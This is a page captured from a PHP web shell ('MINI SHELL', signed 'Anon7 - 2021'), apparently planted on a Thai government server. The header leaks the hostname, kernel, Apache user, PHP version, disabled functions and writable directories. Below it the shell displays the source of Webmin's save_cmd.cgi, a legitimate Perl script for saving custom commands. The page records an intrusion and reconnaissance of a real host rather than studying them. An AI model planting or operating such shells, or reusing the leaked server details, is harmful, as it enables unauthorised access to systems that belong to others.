MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/libexec/webmin/custom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/libexec/webmin/custom/save_cmd.cgi
#!/usr/bin/perl
# save_cmd.cgi
# Save, create or delete a custom command

require './custom-lib.pl';
&ReadParse();

$access{'edit'} || &error($text{'save_ecannot'});
if ($in{'delete'}) {
	$cmd = &get_command($in{'id'}, $in{'idx'});
	&delete_command($cmd);
	&webmin_log("delete", "command", $cmd->{'id'}, $cmd);
	}
else {
	&error_setup($text{'save_err'});
	if (!$in{'new'}) {
		$cmd = &get_command($in{'id'}, $in{'idx'});
		}
	else {
		$cmd = { 'id' => time() };
		}

	# parse and validate inputs
	$in{'cmd'} =~ /\S/ || &error($text{'save_ecmd'});
	if ($in{'dir_def'}) {
		$cmd->{'cmd'} = $in{'cmd'};
		}
	else {
		$in{'dir'} =~ /^\S+$/ || &error($text{'save_edir'});
		$cmd->{'cmd'} = "cd $in{'dir'} ; $in{'cmd'}";
		}
	$in{'order_def'} || $in{'order'} =~ /^\-?(\d+)$/ ||
		&error($text{'save_eorder'});
	$in{'timeout_def'} || $in{'timeout'} =~ /^(\d+)$/ ||
		&error($text{'save_etimeout'});
	$cmd->{'desc'} = $in{'desc'};
	$in{'html'} =~ s/\r//g;
	$in{'html'} =~ s/\n*/\n/;
	$cmd->{'html'} = $in{'html'};
	if (&supports_users()) {
		$in{'user_def'} || (@u = getpwnam($in{'user'})) ||
			&error($text{'save_euser'});
		$cmd->{'user'} = $in{'user_def'} ? "*" : $in{'user'};
		$cmd->{'su'} = $in{'su'};
		}
	else {
		$cmd->{'user'} = 'root';
		}
	$cmd->{'raw'} = $in{'raw'};
	$cmd->{'order'} = $in{'order_def'} ? 0 : int($in{'order'});
	$cmd->{'timeout'} = $in{'timeout_def'} ? 0 : int($in{'timeout'});
	$cmd->{'clear'} = $in{'clear'};
	$cmd->{'noshow'} = $in{'noshow'};
	$cmd->{'usermin'} = $in{'usermin'};
	@hosts = split(/\0/, $in{'hosts'});
	if (!@hosts || (@hosts == 1 && $hosts[0] eq "0")) {
		delete($cmd->{'hosts'});
		}
	else {
		$cmd->{'usermin'} && &error($text{'save_eusermin'});
		$cmd->{'hosts'} = \@hosts;
		}
	&parse_params_inputs($cmd);
	&save_command($cmd);
	&webmin_log($in{'new'} ? "create" : "modify", "command",
		    $cmd->{'id'}, $cmd);

	if ($in{'new'} && $access{'cmds'} ne '*') {
		$access{'cmds'} .= " ".$cmd->{'id'};
		&save_module_acl(\%access);
		}
	}
&redirect("");


Anon7 - 2021